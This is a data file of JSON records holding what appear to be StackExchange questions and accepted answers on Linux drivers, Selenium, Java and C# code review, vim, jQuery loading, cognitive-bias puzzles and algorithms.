{  "id": "_unix.293299"  , "question": "I have an eGPU setup of nVidia GT710 via Express Card. When linux boots up my main laptop screen works but the secondary screen doesn't work.I am using opensource drivers as both cards require different proprietary drivers. Both the devices are recognized.*-display                  description: VGA compatible controller   product: GT218M [NVS 3100M]   vendor: NVIDIA Corporation   physical id: 0   bus info: pci@0000:01:00.0   version: a2   width: 64 bits   clock: 33MHz   capabilities: pm msi pciexpress vga_controller bus_master cap_list rom   configuration: driver=nvidia latency=0   resources: irq:32 memory:d2000000-d2ffffff memory:c0000000-cfffffff memory:d0000000-d1ffffff ioport:7000(size=128) memory:d3000000-d307ffff*-display   description: VGA compatible controller   product: NVIDIA Corporation   vendor: NVIDIA Corporation   physical id: 0   bus info: pci@0000:06:00.0   version: a1   width: 64 bits   clock: 33MHz   capabilities: pm msi pciexpress vga_controller bus_master cap_list rom   configuration: driver=nvidia latency=0   resources: irq:33 memory:e2000000-e2ffffff memory:d8000000-dfffffff memory:e0000000-e1ffffff ioport:4000(size=128) memory:e3000000-e307ffffWhen I tried to boot via UBUNTU Usb both the displays work. Would someone be able to help me out? I like Deepin's look and feel more than any other distro.I previously installed nVidia Drivers (to no avail) and I have nVidia X Server Settings app. It lists both of my GPUs."  , "title": "eGPU Setup on Deepin 15.2 (Ubuntu Based)"  , "tags": "drivers;nvidia;graphics"  } 
{  "id": "_unix.303547"  , "question": "I am trying to execute headless firefox on the remote machine(running Ubuntu 16.04) through Selenium via SSH. However, this gives me a Error: GDK_BACKEND does not match available displays error. My host machine runs Windows. I do not want to see the graphical output. It is just being used for selenium testing.I am using X Virtual Frame Buffer to act as a dummy driver:Xvfb :10 -screen 0 1024x768x16 &I also have exported the DISPLAY environment variable with the value of 10 for this specific case.Where am I going wrong?EDIT: When I simply run sudo firefox in my commandline over SSH after running xvbf, no errors are thrown. Errors are only thrown when running firefox through selenium.More Details:-I am calling firefox through selenium. The exact error that the selenium standalone server gives is:-17:52:55.218 INFO - Executing: [new session: Capabilities     [{browserName=firefox, platform=ANY,     firefox_profile=UEsDBBQAAAAAAJuOD0nf9RXUMgAAA...}]])17:52:55.230 INFO - Creating a new session for Capabilities   [{browserName=firefox, platform=ANY, firefox_profile=UEsDBBQAAAAAAJuOD0nf9RXUMgAAA...}]org.openqa.selenium.firefox.NotConnectedException: Unable to connect to host     127.0.0.1 on port 7055 after 45000 ms. Firefox console output:Error: GDK_BACKEND does not match available displays"  , "title": "Error when executing headless firefox through Selenium"  , "tags": "ubuntu;x11;firefox;headless;selenium"  , "accepted_answer": "Apparently this is caused because of incompatibility between Firefox 48 and Selenium(selenium extension is not signed in firefox 48, and firefox 48 only runs signed extensions). I just used chrome, as my use-case was not extremely browser-specific."  } 
{  "id": "_codereview.128256"  , "question": "I created a simple command line calculator, and then after some reading I made a few tweaks and then remade it with a friends idea to make it more simpler. I'm wondering if this can be more optimized or if any part of the code can be done better?I recently started learning Java and wanted for this first project of mine to end up the best possible written, so I can start learning on what is a good code.One of the things that was changed over time was the use of the Scanner.Firstly I had it create a new one on each iteration of kalkulator(); but that was obviously a unnecessary waste.Then I had a static scanner static Scanner scanMe = new Scanner(System.in); but somewhere I read It was better to pass it as an argument, because something that doesn't belong anywhere doesn't have place in a good code unless it is really necessary.Here is what I ended up with so far:Main Method:public class SimpleCalculator {public static void main(String[] args) {    Scanner scanMe = new Scanner(System.in);    kalkulator(scanMe);}Helper Methods:static double scanDouble(Scanner scan){    while (!scan.hasNextDouble()){        System.out.println(Invalid number! Please try again.);        scan.nextLine();    }    return scan.nextDouble();}static String scanOperator(Scanner scan){    String In = scan.next();    while (!(In.equals(+) || In.equals(-) || In.equals(*) || In.equals(/) || In.equals(end))) {        System.out.println(Invalid operator! Please select either: +,-,*,/);        In = scan.next();    }    return In;}The Main Method:    public static void kalkulator(Scanner scan) {    double prviB = 0, drugiB = 0, rezultat = 0;    String operator;    System.out.println(Enter the 1st number: );    prviB = scanDouble(scan);    System.out.println(Enter the 2nd number: );    drugiB = scanDouble(scan);    System.out.println(Select an operator: (+,-,*,/) , or type 'end' for termination: );    operator = scanOperator(scan);    switch (operator) {    case +:        rezultat = prviB + drugiB;        break;    case -:        rezultat = prviB - drugiB;        break;    case *:        rezultat = prviB * drugiB;        break;    case /:        rezultat = prviB / drugiB;        break;    case end:        System.out.println(Terminated.);        scan.close();        System.exit(0);        break;    default:         break;    }    System.out.println(Result:  + rezultat);    System.out.println();    kalkulator(scan);}"  , "title": "A simple command-line calculator"  , "tags": "java;beginner;calculator"  } 
{  "id": "_codereview.172184"  , "question": "I am trying to make general class to find mode. I am looking for some general feedback on how I can improve the structure and efficiency of my code.package analysis.statistic;import java.util.Arrays;import java.util.Comparator;import java.util.HashMap;import java.util.Map;import java.util.Objects;public class Mode {/** * Return objects which appears most often. *  * @return Map<object,countAppears> most appears objects. */@SuppressWarnings(unchecked)public static <T> Map<T, Integer> mode(T... objects) {    Objects.requireNonNull(objects, objects must not be null);    if (objects.length == 0) {        return new HashMap<>();    }    Arrays.sort(objects);    ModeCalc<T> calc = new ModeCalc<T>(objects[0]);    for (T t : objects) {        calc.checkMaxAppears(t);    }    return calc.getMode();}/** * Work like {@link #mode(Object...)}. */@SuppressWarnings(unchecked)public static <T> Map<T, Integer> mode(Comparator<? super T> c, T... objects) {    Objects.requireNonNull(objects, objects must not be null);    if (objects.length == 0) {        return new HashMap<>();    }    Arrays.sort(objects, c);    ModeCalc<T> calc = new ModeCalc<T>(objects[0]);    for (T t : objects) {        calc.checkMaxAppears(t);    }    return calc.getMode();}/** * Work like {@link #mode(Object...)}. */public static Map<Integer, Integer> mode(int... numbers) {    Objects.requireNonNull(numbers, numbers must not be null);    if (numbers.length == 0) {        return new HashMap<>();    }    Arrays.sort(numbers);    ModeCalc<Integer> calc = new ModeCalc<Integer>(numbers[0]);    for (int t : numbers) {        calc.checkMaxAppears(t);    }    return calc.getMode();}/** * Work like {@link #mode(Object...)}. */public static Map<Long, Integer> mode(long... numbers) {    Objects.requireNonNull(numbers, numbers must not be null);    if (numbers.length == 0) {        return new HashMap<>();    }    Arrays.sort(numbers);    ModeCalc<Long> calc = new ModeCalc<>(numbers[0]);    for (long t : numbers) {        calc.checkMaxAppears(t);    }    return calc.getMode();}/** * Work like {@link #mode(Object...)}. */public static Map<Double, Integer> mode(double... numbers) {    Objects.requireNonNull(numbers, numbers must not be null);    if (numbers.length == 0) {        return new HashMap<>();    }    Arrays.sort(numbers);    ModeCalc<Double> calc = new ModeCalc<Double>(numbers[0]);    for (double t : numbers) {        calc.checkMaxAppears(t);    }    return calc.getMode();}/** * Work like {@link #mode(Object...)}. */public static Map<Float, Integer> mode(float... numbers) {    Objects.requireNonNull(numbers, numbers must not be null);    if (numbers.length == 0) {        return new HashMap<>();    }    Arrays.sort(numbers);    ModeCalc<Float> modeCalc = new ModeCalc<Float>(numbers[0]);    for (float t : numbers) {        modeCalc.checkMaxAppears(t);    }    return modeCalc.getMode();}/** * Work like {@link #mode(Object...)}. */public static Map<String, Integer> mode(String... strings) {    Objects.requireNonNull(strings, strings must not be null);    if (strings.length == 0) {        return new HashMap<>();    }    Arrays.sort(strings);    ModeCalc<String> state = new ModeCalc<>(strings[0]);    for (String t : strings) {        state.checkMaxAppears(t);    }    return state.getMode();}private static class ModeCalc<T> {    private int nTimesLastObjectAppears = 0;    private int maxTimeObjectAppears = 0;    private T prevObject;    Map<T, Integer> mostAppearsObjects;    public ModeCalc(T firstObjectInArray) {        prevObject = firstObjectInArray;        mostAppearsObjects = new HashMap<>();    }    void checkMaxAppears(T currentObject) {        if (currentObject.equals(prevObject)) {            nTimesLastObjectAppears += 1;        } else {            addObjectToMap();            prevObject = currentObject;            nTimesLastObjectAppears = 1;        }    }    void addObjectToMap() {        if (nTimesLastObjectAppears > maxTimeObjectAppears) {            mostAppearsObjects.clear();            mostAppearsObjects.put(prevObject, nTimesLastObjectAppears);            maxTimeObjectAppears = nTimesLastObjectAppears;        } else if (nTimesLastObjectAppears == maxTimeObjectAppears) {            mostAppearsObjects.put(prevObject, nTimesLastObjectAppears);        }    }    Map<T, Integer> getMode() {        // to check appears of last object of loop and add it to map        addObjectToMap();        return mostAppearsObjects;    }}}"  , "title": "General Java class to find mode"  , "tags": "java;object oriented;statistics;data mining"  } 
{  "id": "_codereview.47519"  , "question": "I'm writing a script for others to use on their websites. I'd like to use jQuery in this script. Because I don't have control over what frameworks people use on their sites, I need to make sure jQuery is available and that it's version 1.8 or higher. Here's my take on it. Does anyone see anything I could/should be doing differently? Is there a better way of doing this?//start anon function for whole script;(function(){    var $,        hasOwn = ({}).hasOwnProperty,        //get ie version returns false if ie>=11 or not ie        ieVersion = function(){            var v = 3,                div = document.createElement('div'),                all = div.getElementsByTagName('i');            while(div.innerHTML = '<!--[if gt IE '+(++v)+']><i></i><![endif]-->', all[0]);            return (v > 4 ? v : ('documentMode' in document ? document.documentMode : false));        }(),        //get which version of jQuery is currently added to the site        jqVersion = function(){            return 'jQuery' in window && !!window.jQuery ? parseFloat(window.jQuery.fn.jquery) : false;        },        //set the correct jquery version to use based on which version of ie is in use. Use an array in the case of one or more being down        jqSrc = (!!ieVersion && ieVersion > 4 && ieVersion < 9) ? ['//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js', '//cdnjs.cloudflare.com/ajax/libs/jquery/1.11.0/jquery.min.js', '//ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.0.min.js'] : ['//ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js', '//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.0/jquery.min.js', '//ajax.aspnetcdn.com/ajax/jQuery/jquery-2.1.0.min.js'],        //check jquery version and if it is above 1.8 use it, if not then get own version        jqCheck = function(first){            var version = jqVersion();            if(!version || version < 1.8){                getScript(jqSrc.shift(), jqCheck);            }else{                if(!!first){                    $ = window.jQuery;                }else{                    $ = window.jQuery.noConflict(true);                }                load();            }        },        //function to loop and load jquery script        getScript = function(url, callback){            var script = document.createElement('script'),                tag = document.getElementsByTagName('script')[0],                done = false;            script.type = 'text/javascript';            script.async = !0;            script.src = url;            script.onload = script.onreadystatechange = script.onerror = function(){                if(!done && (!this.readyState || this.readyState == 'loaded' || this.readyState == 'complete')){                    done = true;                    if(typeof(callback) === 'function'){                        callback.call(this);                    }                    script.onload = script.onreadystatechange = script.onerror = null;                }            };            tag.parentNode.insertBefore(script, tag);        },        load = function(){            //Start script            window.myGlobalFunction = new function(){                var privateVar = 'private',                    privateFunc = function(){                        return true;                    };                this.publicVar = 'public';                this.publicFunc = function(){                    return true;                };            };        };    //make sure json is avaiable, if not add it    if(!hasOwn.call(window, 'JSON') || !hasOwn.call(JSON, 'parse') || (typeof(JSON.parse) !== 'function')){        getScript('//cdnjs.cloudflare.com/ajax/libs/json3/3.3.1/json3.min.js', function(){            //all functions are built start by checking for jQuery and it's builder            jqCheck(true);        });    }else{        //all functions are built start by checking for jQuery and it's builder        jqCheck(true);    }})();"  , "title": "Dynamically loading jQuery when it's not available or version isn't high enough"  , "tags": "javascript;jquery"  } 
{  "id": "_cogsci.16714"  , "question": "I have started to read a book called Vexed Texts by Pamela Protheroe and her belief is that images promotes illiteracy. There seems far too much evidence that pictures books aid children in a vast amount of ways, but it did make me wonder on children's dependency of what they see in comparison to what they imagine. My investigation is to find out children's understanding of the words and what they see internally without the visual cues."  , "title": "Do pictures help young children read (understand meaning) better or does it give them a delayed sense of imagination when decoding information?"  , "tags": "learning;language;communication;linguistics;visualization"  } 
{  "id": "_scicomp.19961"  , "question": "I have been looking for stability analysis of general reaction-diffusion problems, of the form$\\frac{\\partial u}{\\partial t}=\\nabla\\cdot D\\nabla u-k\\,u$ , to be solved using the standard Finite Element in 2D with an explicit Euler time stepping. I haven't found any estimate or proof for the stability criteria for $\\Delta t$ for this case, most of the literature seems to point to the solution of the Heat equation by Finite Differences in 1D.I would like to know if someone can point me how to find the stability criterion in this case, especially for quadrilateral elements."  , "title": "Stability analysis for explicit time discretization in the Finite Element Method"  , "tags": "finite element;numerical analysis;stability"  } 
{  "id": "_unix.61862"  , "question": "Imagine a shell script on the remote server as#!/bin/bashrm /test.xHow can I (if possible) to execute this script from my local machine to delete /test.x file on my local machine. Obviously, the solution should be with something like ssh authorization, but without downloading the script file from the remote server.In fact, I want to use the remote script as a provider of shell commands to be run on the local machine."  , "title": "Executing a shell script from remote server on local machine"  , "tags": "shell;ssh;shell script;remote"  } 
{  "id": "_webapps.52576"  , "question": "While testing my iOS app, I used some event names that I have since removed and never actually deployed.Now, my Events Overview page in Google Analytics is cluttered with old event category/action/label names. (https://developers.google.com/analytics/devguides/collection/ios/v3/events)Is there any way to remove them?"  , "title": "Delete old events in Google Analytics"  , "tags": "google analytics"  } 
{  "id": "_unix.178385"  , "question": "I've installed VMware player 64bit version 7 (upgraded from 6) for both Windows 7 and CentOS 6.5I run usually centOS and Fedora as guest VM.I've observed, that the RAM usage goes up (as it should) on Host OS when I spin multiple guest VM and also when I spin enterprise  applications (IBM Websphere suite) on those guest VM.On CentOS as host, I don't see RAM release after I shutdown guest VM or shutdown application on guest VM. Even after 15  20 min unless I reboot the host OS.In comparison, when using Windows 7 as host, RAM release almost instantly.These are same guest VM that I use on both Host OS.The behavior was same on VMware player version 6.Is VMware player is better optimized for Win than Linux? If not, what measure can I take to have RAM release when using CentOS as host?"  , "title": "Why VMware player doesn't release the memory when running on Linux while in Windows it does?"  , "tags": "vmware"  } 
{  "id": "_codereview.155850"  , "question": "I have a general value called Seed which is required to multiple class. But those class aren't dependent of the class which declare it.class Game {    class Settings {       public static float Seed = 1337;    }}And some class need a Seed value to work. I take the class Noise as example here.class Noise {    private static float _seed;}A solution would be to use Game.Settings.Seed to know the value into the class Noise. But what if one day I decide to take all the Noise class to use it in an other project. The code won't compile because there is probably not a Game.Settings.Seed declared in the other project obviously.A other way would be to set as public field in the Noise class.class Noise {    public static float Seed;}So in this way, Game which know he need to use Noise class, will set Seed field before doing anything with this class.But I don't like it too, in this case this is about a float, so that not really a problem, but what about an object that need to be declared, which means Noise class need to implement a verification about itself.class Noise {    private static float _seed;    private static bool _isSeedDeclared;    public static void SetSeed(int seed){        _seed = seed;        _isSeedDeclared = true;    }    public int GetValue(int x, int z){        CheckSettings();        return computedValue; //to calculate computedValue, I need Seed value    }    private void CheckSettings(){        if(!_isSeedDeclared)            throw new Exception(You have to define Seed value.);    }}This solution works but I'm not pleased about it. For non-nullable type I have to define an other variable to check, for a nullable class I can compare it to null. But anyway, I don't have only one parameter and I don't have only one class. I'm looking for an better way to implement it."  , "title": "General static value required by multiple classes"  , "tags": "c#"  , "accepted_answer": "Okay, so there's lots going on in your question. Let's try and break it down.But what if one day I decide to take all the Noise class to use it in an other project. The code won't compile because there is probably not a Game.Settings.Seed declared in the other project obviously.What you're talking about here is decoupling. There are many different types of coupling in software design. You're on the right track, decoupling your classes from each other is a very good thing to do for many reasons, including the one you've described.In this specific example we're trying to decouple the Noise class from the Game.Settings class. You've really only got 2 options here. Constructor injection or Property injection. Both options are valid but they have pros and cons depending on your requirements. Any other option is either just a variation of these two (e.g. field injection, service or function injection) or won't really decouple things.So in this way, Game which know he need to use Noise class, will set Seed field before doing anything with this class.One of the pros of using constructor injection is to enforce that the Game class sets the seed on the Noise class before it can be used._noise = new Noise(Game.Settings.Seed);A other way would be to set as public field in the Noise class.This is a form of property injection. The downside is that you can only enforce things by using exceptions at runtime. In some cases it makes sense, but from what I've seen I don't think this is your best choice.For non-nullable type I have to define an other variable to check, for a nullable class I can compare it to null.Actually, C# has nullable types for exactly this situation. So you could convert this code:private static float _seed;private static bool _isSeedDeclared;into this:private static float? _seed;and when you want to use it you can do something like this:if(!_seed.HasValue)    throw new Exception(You have to define Seed value.);But anyway, I don't have only one parameter and I don't have only one class. I'm looking for an better way to implement it.I agree, your question is a little more broad than this one class. It's more about the overall design of the system as a whole. The truth is there's no one size fits all answer, it depends.I believe part of the problem is the overuse of static. It's not really clear why the Noise class needs to use static at all. In particular, you're likely to run into all sorts of issues with the use of global static state as I suspect is the case.I'd seriously consider removing all the staticness from any classes that don't need it. Especially if they're also holding shared data. As usual, it depends, but you might be surprised how much simpler things become when you let go of that idea."  } 
{  "id": "_unix.339282"  , "question": "I'm using tr and sed command to replace text in my file like this tr '\\n' ' ' < afile.txt | sed '$s/ $/\\n/' and as discussed here. Though running that on a big file will get my console spammed with output replaced text.So my need is to run the commands, but silence its output.My google search here and calling tr --help not helpful to me so I ask here.  "  , "title": "How to run `tr` (translate command) and mute its output?"  , "tags": "bash;text processing;tr"  , "accepted_answer": "It's unlikely that you'd like to discard the output from the pipeline. It is more likely that you'd like to store it somewhere rather than having it flood your terminal.I think this is what you're looking for:$ tr '\\n' ' ' < afile.txt | sed '$s/ $/\\n/' >anotherfile.txtThis will put the result of the pipeline into the file anotherfile.txt rather than onto the terminal.  You are then free to inspect it and to replace the original file with it (mv anotherfile.txt afile.txt) if this makes sense with what it is you're trying to achieve.The > at the end of the pipeline is an output redirection that will redirect the standard output stream of sed into the specified file.  It works in the opposite way of the input redirection < that is used earlier in the pipeline to send the contents of afile.txt into the standard input stream of tr."  } 
{  "id": "_cogsci.10325"  , "question": "While reading Daniel Kahneman's Thinking, Fast and Slow I've been stuck on the claim that Linda case and Dinnerware case have the same structure.Linda problem:Linda is thirty-one years old, single, outspoken, and very bright. She  majored  in  philosophy.  As  a  student,  she  was  deeply concerned  with issues of discrimination and social justice, and also  participated in antinuclear demonstrations.Which alternative is more probable?Linda is a bank teller.Linda is a bank teller and is active in the feminist movement.It is well-known that the majority of respondents chooses the second options (as most plausible, though the original question is about probability).The Dinnerware case:Being presented two sets of dinnerware:Set A: 40 pieces / Set B: 24 piecesDinner plates: 8, all in good condition / 8, all in good condition   Soup/salad bowls: 8, all in good condition / 8, all in good  condition  Dessert plates: 8, all in good condition / 8, all in  good condition  Cups: 8, 2 of them broken / NONE  Saucers:  8, 7 of them broken / NONEIt is known that respondents tend to select Set B, though it is more beneficial to select set A.Here is the question: The dinnerware case is explained via the notion of 'averaging'. That is, person's System 1 (Kahneman's terminology) performs some kind of averaging and goes to conclusion, that as Set B items are not broken and in average cost more, then the whole Set B shall be preferred.From the perspective of economic theory, this result is troubling: the  economic value of a dinnerware set [...] is a sum-like variable. I.e.  pure summation shall be performed where averaging and subsequent  assessment is carried out.Then,The Linda problem and the dinnerware problem have exactly the same  structure (??).  Probability,  like  economic  value,  is  a   sum-like  variable,  as illustrated by this example: probability  (Linda is a teller) = probability (Linda is feminist teller)  + probability (Linda is non-feminist teller) System 1 averages instead of adding, so when the non-feminist bank tellers are removed  from the set, subjective  probability  increases.Here is my difficulty: I do not see how the 'averaging' notion applies to the Linda problem. When I myself think about Linda question, I do not realize that try to average something, I just want to construct something that fits my stereotypes. Otherwise, when I think about dinnerware, I agree that subconsciously try to maximize the average price of item."  , "title": "Thinking Fast and Slow: Similarity of Linda problem and Dinnerware case"  , "tags": "cognitive psychology;bias"  } 
{  "id": "_softwareengineering.348257"  , "question": "I am implementing the repository pattern in my application.The repository will connect to an API to download orders from an external API.The API that I am connecting to has a separate endpoint to get the list of Orders and a separate endpoint to get the Items against that order.Where should the marriage of OrderItems and Orders happen? Should the GetOrders() function in my repository get orders as well as items, returning it back to the service with both orders and items. Or should the service layer be responsible for running GetOrders() and GetOrderItems() and joining these together?Hope that makes sense!"  , "title": "Should my repository or service be responsible for joining multiple API calls into one object"  , "tags": "api;repository"  } 
{  "id": "_webmaster.30627"  , "question": "If a website a called foo.com has the following css,#LinkBuilder{background:url(www.LoremEpsum.com);}and the css id LinkBuilder is actually not getting used anywhere in the html of foo.com, would Google bot crawl it as a backlink from foo.com to LoremEpsum.com and LoremEpsum.com gets the link juice from foo.com without getting displayed on the website?Please help out. Thanks"  , "title": "Does Google bot crawl unused tags?"  , "tags": "google;googlebot"  , "accepted_answer": "First of all, that's a background property, so I'm not sure why google would think it's a link.However, assuming that you meant does it index the background image. I'm going to assume no, because if you look at their image guidelines, you will find that they make no reference to background images, and all of their advice seems to be geared towards the <img> tag."  } 
{  "id": "_cstheory.4732"  , "question": "This CodeGolf answer suggests that quick sorting an array whose elements can take only two values is linear. Can this assumption be proved?"  , "title": "Is qsort linear when sorting only two values?"  , "tags": "ds.algorithms;time complexity;sorting"  , "accepted_answer": "There is a large body of research on Quicksort for sorting multisets.The talk Quicksort is optimal by Sedgewick gives a nice overview of this.Basically with 3-way partitioning you get within a constant of the information theoretic minimum. The information theoretic minimum is: Suppose we are to sort $n$ keys, where there is only $m$ distinct keys, and the $i$th key occurs $n_i$ times. Then we need $n \\lg(n) - \\sum_{i=1}^m n_i\\lg n_i -n \\lg e +O(\\lg n)$ three way comparisons on the average. (See Sorting multisets and vectors in-place, by Munro and Raman)."  } 
{  "id": "_vi.454"  , "question": "It's pretty common when programming or opening text files to encounter files with trailing whitespace at the end of a line. vim has a way to show this by setting the trail option in the listchars option and then turning list on.However, what's the easiest way to eliminate that trailing whitespace globally across the whole of a file (ideally without a plugin)?"  , "title": "What's the simplest way to strip trailing whitespace from all lines in a file?"  , "tags": "whitespace;line breaks"  , "accepted_answer": "Use a keybinding to strip all trailing whitespaceSince some pages that I edit actually need trailing whitespaces (e.g. markdown) and others don't, I set up a keybinding to F5 so that it's trivial to do without being automatic. To do so, add the code below (from vim.wikia) or some variation of it to your .vimrc:Remove all trailing whitespace by pressing F5nnoremap <F5> :let _s=@/<Bar>:%s/\\s\\+$//e<Bar>:let @/=_s<Bar><CR>nnoremap <F5> does a nonrecursive mapping to the key F5 in normal mode  :let _s=@/ stores the last search term (from the macro @/) in the variable _s<Bar> Functions as a pipe symbol | to separate commands, however | would end a command in this context, so <Bar> must be used instead.:%s/\\s\\+$//e searches for trailing whitespace and deletes it everywhere in the buffer (see CarpetSmoker's answer for a detailed breakdown of this expression)let @/=_s restores your last search term to the macro @/, so that it will be available the next time you hit n.<CR> ends the mapping... or be more selectiveIf you have cases in which you don't want to strip all of the trailing whitespace, you can use a pattern to be more selective. For example, the following code shows how I strip trailing whitespace only if it comes after a semicolon (here it's tied to F8).nnoremap <F8> :let _s=@/<Bar>:%s/;\\s\\+$/;/e<Bar>:let @/=_s<Bar><CR>This is useful if, like me, you have some files with markdown-like heredocs interspersed among semicolon-terminated programming statements. "  } 
{  "id": "_unix.68700"  , "question": "I am getting an error when I run Python programs that imports peewee:ImportError: No module named peeweeThe same program works fine under Ubuntu 12.04. I used pip to install peewee, and it confirms that it is installed:$ pip install --upgrade peeweeRequirement already up-to-date: peewee in /usr/local/lib/python2.7/site-packagesCleaning up...Any ideas?"  , "title": "Can't use peewee on Mac OS X Mountain Lion"  , "tags": "osx;python;pip"  , "accepted_answer": "The peewee module appears to be installed under /usr/local, but the OS X system default python lives in /usr/bin. Check the shebang line of the program that's failing, and make sure it's using the correct python."  } 
{  "id": "_webapps.24816"  , "question": "There must be an easier way to do this than re-upping hundreds of photos all over again? I have tried everything I can find in Facebook apps and an iOS app called Facebook Photo Importer which looks the part but crashes every 2 mins!"  , "title": "How to export or share Google+ photos with Facebook?"  , "tags": "facebook;google plus"  } 
{  "id": "_softwareengineering.193647"  , "question": "In an Agile development process usually the main focus is on User stories, but sometimes a single requirement may span several user stories.For example, the client may request a search page for all users in a forum, and there are several actions that can occur on each user such as ban user, delete user, reset Password, etc.We may divide this feature into at least 4 user stories: Search for usersBan userDelete userReset passwordHow would the user interface designer implement such a user interface? Should he/she work on the first user story and then start incrementing more features to the UI? However, I think the final UI will be messed up!If he decides to work on the whole feature (search + actions), what if the actions where of low priority and would be implemented several iterations after the search functionality was done?"  , "title": "How to deal with user interface design and respective feature support in Agile development?"  , "tags": "web development;agile;user interface;user story;user experience"  , "accepted_answer": "Take it iteratively.  You're working directly with the users, right? So it should never really be a mess.First do the search page.  You and the users should keep in mind that they'll want to be able to do actions on the results.  Do the users like it?  OK, you've got your search.Now add the Change Password (or whatever is next in priority).  Oops, we need to change the search page a little--well, change is often part of the game. Do the users like it like the results?  Good.Now add the next item, and the next...The agile approach says you always have feedback right away, so you should be good.That said, there's no real reason why you might not be able to attack 2 of these stories in the same iteration (adding delete user AND ban user).  The key is to always be working with the customer to make sure it's right. You're often (always?) going to end up with users thinking of something else they want to do from that search screen after your original design is done and implemented.  So, you'll end up modifying it at some point anyway.  Just approach the whole thing with that expectation and you should be good."  } 
{  "id": "_unix.101711"  , "question": "I'm trying to run pyopencl with the open source radeon drivers on gentoo. The package compiles fine, but every time I try to import the pyopencl module, I get an error telling me that the clGetExtensionFunctionAddress symbol cannot be found in _cl.so (and the libraries this is linked to). This function is indeed defined in the header files installed by mesa (cl.h), yet it seems to be missing from the actual library.OpenCL itself seens to be working, it's just pyopencl that refuses to load. Since I need pyopencl for my current project, for the moment I'm using fglrx, but I'd really prefer to use pyopencl with the open source driver which imho performs much better for everyday work.I was trying to use mesa 9.2.2 and pyopencl 2013.2. To sum it up: How can I get pyopencl running with the open source radeon drivers?"  , "title": "PyOpenCL and Mesa Radeon driver"  , "tags": "gentoo;radeon"  } 
{  "id": "_softwareengineering.182159"  , "question": "I am stuck with a very old large website which I need to do some modifications. I can't use or integrate a new MVC framework due to current site is outdated with some custom coding done long time ago. I am writing custom reflection class for the user table in the database, but I find it easy to work on the model creating when the parameter passed or primary key and populated the member variables , then use them in the code. for example $user= new User($user_id);and then if I need the age I can use if($user->age > 18)To do this you might say it's easy just create a constructor method and do a select and assign them to the member variables .. however tricky part is I want to Even the database table design is changed I want them to be reflected in the coding without altering the code, ie. if we add a new field to the database table I want it to be called using  $user->new_field; without touching the code. (I know Yii can do this but I can't use Yii as I have to write all functionality of the website if I have to move to a framework)if possible assign them to the member variables with the data type i.e Strings, Int etc reading them from the database How to build a model base on above (actually constructor method)? "  , "title": "php - auto populate the model member variable from database table"  , "tags": "design;php"  } 
{  "id": "_vi.2116"  , "question": "In scripts it is customary to do something like:let s:save_cpo = &cposet cpo&vim... script ...let &cpo = s:save_cpoTo ensure nocompatible mode for the script.Is:set cpo&vimsome sort of special syntax, as in foo & bar? Or is it more like a command, trigger line or something else?"  , "title": "Is cpo&vim a special syntax?"  , "tags": "vimscript"  , "accepted_answer": "Yes, it's a special syntax to reset options to the Vim defaults. From :help :set-&vim::se[t] {option}&        Reset option to its default value.  May depend on the                        current value of 'compatible'. {not in Vi}:se[t] {option}&vi      Reset option to its Vi default value. {not in Vi}:se[t] {option}&vim     Reset option to its Vim default value. {not in Vi}:se[t] all&             Set all options, except terminal options, to their                        default value.  The values of 'term', 'lines' and                        'columns' are not changed. {not in Vi}I found it by just typing :help &vim (which also goes to :help :set-&vim) :-)"  } 
{  "id": "_cstheory.7992"  , "question": "Branch and bound is an effective heuristic for search problems, and Wikipedia lists a number of hard problems where branch-and-bound has been used. However, I haven't been able to find references to suggest that it's more than just one method for solving these problems. Anecdotally, I've heard that some of the best heuristics for SAT and integer programming come from branch and bound, so my question is:Can someone point me to any references detailing effective uses of  branch and bound for NP-hard problems ?"  , "title": "Successful application of branch-and-bound methods for NP-hard problems"  , "tags": "ds.algorithms;reference request;optimization;heuristics"  , "accepted_answer": "For TSP, checkout this book...http://www.tsp.gatech.edu/book/index.htmlMy understanding is that there is no one tool to kill them all. Arguably any recursive solution deploying backtracking and some scoring function is using branch and bound. As such, a large fraction of solvers to NP hard problems use some form of branch and bound."  } 
{  "id": "_webmaster.52583"  , "question": "I have some PDF documents that I offer users once they have subscribed to my newsletter. Well, Google found them, and other people are posting them on various sites.I'd like to take advantage of Google ranking my PDF documents and redirect users that click on those links to an html or php page.How do you automatically redirect hotlinked PDF clicks (on Google search and other sites) to a relevant page (i.e. domain.com/PDFdoc1.pdf redirects to domain.com/PDFdoc1.html or domain.com/PDFdoc1/)?I want to keep the PDFs ranked where they are on Google, and keep the PDF documents exactly where they are on my site, but just redirect hotlinked clickers to a page instead of the PDF.How can this be done?"  , "title": "How do you stop PDF hotlinking and automatically redirect hotlink clickers?"  , "tags": "redirects"  } 
{  "id": "_softwareengineering.147445"  , "question": "Google is well known for the ridiculous amount of C++ they've coded over the years. Correct me if I'm wrong, but a large part of Google's core search engine is written in C++, isn't it? How does one take a program written in C++ and interface it with a website?Note: I'm not looking for how Google in particular does this, just how it might be done in general."  , "title": "How does one interface C++ with the web (at Google, for example)?"  , "tags": "web development;c++;web applications"  , "accepted_answer": "Any web software will only send and receive messages through sockets, that's all. You could use any language to do this, it's not specific to languages.However, you'd better not reinvent the wheel for this kind of work so most languages that are used to do web applications have their set of framework that does the basic communication for you, to allow you to concentrate on the specificities of your project. Ruby have ROR, Python have Django and others, Java as ...etc.C++ historically didn't have any similar framework until recently: a modern-C++ way of doing it is to use something like CPPCMS;there is also an effort to setup a standard library for web dev. in C++, one of them being cpp-netlib;Recently there have been a release of a cross-platform REST API library for C++11 from Microsoft called Casablanca which also helps;Now, the ridiculous amount of C++ that Google is built over is necessary because you need to have very-high-performance modules to solve the kind of problems Google solves. Good luck trying to do the same without any module written in a language focused on performance. I recommend reading the CPPCMS wiki about this subject to understand better. For historic facts, Amazon, Google, Facebook (see Hip Hop and recent Alexandrescu interviews) and some other really big web services do have cores in C++, for obvious computational reasons that are more important than the time lost on programmer productivity.CPPCMS and cpp-netlib being open source, you can study them if you want to know how to make an application work as a web service using C++. That said, any application that can listen to ports and send data to port can potentially do this, it's all about protocoles (TCP/IP, HTTP, etc.), not code."  } 
